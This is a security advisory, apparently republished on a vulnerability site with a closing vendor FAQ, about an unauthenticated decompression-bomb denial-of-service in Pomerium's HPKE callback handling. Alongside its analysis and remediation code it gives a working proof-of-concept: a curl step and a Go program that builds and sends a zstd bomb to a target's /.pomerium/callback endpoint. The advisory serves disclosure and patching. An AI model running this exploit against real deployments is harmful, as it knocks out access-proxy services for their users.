The HPKE V2 URL decode path in pkg/hpke/url.go decompresses attacker-controlled zstd data without any size limit. On Pomerium deployments using the stateless authentication flow (Pomerium Zero / hosted authenticate), the proxy's /.pomerium/callback endpoint is reachable without credentials and processes attacker-crafted HPKE-encrypted payloads before the sender's identity is validated. Because Pomerium's HPKE receiver public key is publicly served, an attacker can encrypt a decompression bomb, deliver it to the callback endpoint, and cause unbounded memory allocation — crashing or degrading the proxy process.
High (CVSS 3.1: 7.5)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
/.pomerium/callback route on the proxy service is externally reachable./.well-known/pomerium/hpke-public-key; no special conditions apply.pkg/hpke/url.go — decodeQueryStringV2 (line 171)internal/authenticateflow/stateless.go — Callback (line 385–393)proxy/handlers.go — Callback (line 105–107), route registered at line 53–54decodeQueryStringV2pkg/hpke/url.go defines two decoders. The V1 path is plaintext. The V2 path zstd-compresses the query string before encryption. Decoding reverses this with no output size cap (url.go:166–176):
var zstdDecoder, _ = zstd.NewReader(nil,
zstd.WithDecoderLowmem(true),
)
func decodeQueryStringV2(raw []byte) (url.Values, error) {
bs, err := zstdDecoder.DecodeAll(raw, nil) // no size limit
if err != nil {
return nil, err
}
return url.ParseQuery(string(bs))
}
WithDecoderLowmem(true) reduces the decoder's own memory footprint but applies no cap on the output. A 19 KB input can produce 128 MiB of output; a 38 KB input can produce 256 MiB.
By contrast, the codebase applies LimitReader when decompressing in internal/zero/api/download.go:75:
r = io.LimitReader(zr, maxUncompressedBlobSize) // 1 GB cap
The protection is available but not applied to decodeQueryStringV2, confirming this is an inconsistent defense.
DecryptURLValues for the V2 format (url.go:107–126):
case IsEncryptedURLV2(encrypted):
senderPublicKey, err = PublicKeyFromString(encrypted.Get(paramSenderPublicKeyV2)) // attacker-controlled
// ...
sealed, err := decode(encrypted.Get(paramQueryV2))
// ...
message, err := Open(receiverPrivateKey, senderPublicKey, sealed) // HPKE decrypt — succeeds
// ...
decrypted, err = decodeQueryStringV2(message) // zstd decompress — UNBOUNDED
Open uses SetupAuth (HPKE authenticated mode). It only verifies that sealed was created with a key pair whose public half is senderPublicKey. Because the attacker supplies both k (sender public key) and q (sealed payload), they choose a consistent key pair themselves. The Open call succeeds with their own freshly-generated keys.
Sender identity is validated after DecryptURLValues returns (stateless.go:391–397):
senderPublicKey, values, err := hpke.DecryptURLValues(s.hpkePrivateKey, r.Form)
// ... zstd already completed ...
err = s.validateSenderPublicKey(r.Context(), senderPublicKey) // now rejects attacker
The decompression memory spike occurs unconditionally before rejection.
The proxy registers the callback route without any session or signature middleware (proxy/handlers.go:53–54):
c := r.PathPrefix(endpoints.PathPomeriumCallback).Subrouter()
c.Path("/").Handler(httputil.HandlerFunc(p.Callback)).Methods(http.MethodGet)
For Stateless-flow deployments, p.Callback → authenticateflow.Stateless.Callback → hpke.DecryptURLValues (unbounded decompress) → validateSenderPublicKey (rejects). This is by design: the callback endpoint must be pre-auth because it is the landing page after an IdP OAuth redirect.
Pomerium's HPKE receiver public key is served publicly and without authentication (internal/controlplane/http.go:82):
root.Path(endpoints.PathHPKEPublicKey).Methods(http.MethodGet).Handler(
traceHandler(hpke_handlers.HPKEPublicKeyHandler(hpkePublicKey)))
The full attack requires no credentials of any kind.
Self-hosted (Stateful) deployments are NOT affected. The stateful Callback calls s.VerifySignature(r) as its very first operation, verifying an HMAC-SHA256 signature over the URL before touching the body. If the signature is missing or invalid, the function returns immediately without decrypting or decompressing anything.
# Step 1: Retrieve the receiver public key
curl -so receiver.pub "https://TARGET_HOSTNAME/.well-known/pomerium/hpke-public-key" | xxd | head
# Step 2: Build and send the decompression bomb (requires Go)
package main
import (
"encoding/base64"
"fmt"
"net/http"
"net/url"
"strings"
"github.com/klauspost/compress/zstd"
"github.com/pomerium/pomerium/pkg/hpke"
)
func main() {
// Fetch receiver public key from the target
resp, _ := http.Get("https://TARGET_HOSTNAME/.well-known/pomerium/hpke-public-key")
pubBytes := make([]byte, 32)
resp.Body.Read(pubBytes)
resp.Body.Close()
receiverPub, _ := hpke.PublicKeyFromBytes(pubBytes)
// Attacker generates their own sender key pair
attackerPriv, _ := hpke.GeneratePrivateKey()
// Build a decompression bomb: 128 MiB of repeated bytes → ~19 KB compressed
plain := "x=" + strings.Repeat("A", 128*1024*1024)
enc, _ := zstd.NewWriter(nil)
compressed := enc.EncodeAll([]byte(plain), nil)
// Seal the bomb with attacker's private key → server's public key
sealed, _ := hpke.Seal(attackerPriv, receiverPub, compressed)
form := url.Values{
"k": {attackerPriv.PublicKey().String()},
"q": {base64.RawURLEncoding.EncodeToString(sealed)},
}
// Deliver to the pre-auth callback endpoint
target := "https://TARGET_HOSTNAME/.pomerium/callback/?" + form.Encode()
fmt.Printf("Sending bomb to: %s\n", target)
http.Get(target)
fmt.Println("Done — server allocated ~256 MB per request")
}
Repeated calls amplify the effect proportionally. The server-side rejection from validateSenderPublicKey does not prevent the allocation.
authenticate.pomerium.app).decodeQueryStringV2 (preferred)Apply a reasonable upper bound on the decompressed query string. Legitimate HPKE-encrypted query strings contain URL parameters (redirect URIs, scopes, timestamps) and are never more than a few hundred kilobytes:
const maxDecompressedQuerySize = 1 << 20 // 1 MiB — generous for any real query string
func decodeQueryStringV2(raw []byte) (url.Values, error) {
bs, err := zstdDecoder.DecodeAll(raw, nil)
if err != nil {
return nil, err
}
if len(bs) > maxDecompressedQuerySize {
return nil, fmt.Errorf("hpke: decompressed query string exceeds maximum size (%d bytes)", len(bs))
}
return url.ParseQuery(string(bs))
}
This fixes the root cause at the lowest layer and protects all callers unconditionally.
Restructure DecryptURLValues so the sender's public key is compared against the known authenticate service key before the decompression step is reached. This requires passing the expected public key into DecryptURLValues or splitting the decrypt and decompress steps:
// In Stateless.Callback, before calling DecryptURLValues:
senderPublicKey, _ := PublicKeyFromString(r.Form.Get("k"))
if err := s.validateSenderPublicKey(r.Context(), senderPublicKey); err != nil {
return err // reject before decompression
}
// then proceed with decryption and decompression
This eliminates the DoS attack path entirely for the callback endpoint but does not fix the underlying missing bound in decodeQueryStringV2, leaving other current or future callers at risk.
This vulnerability was discovered and reported by bugbunny.ai.
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.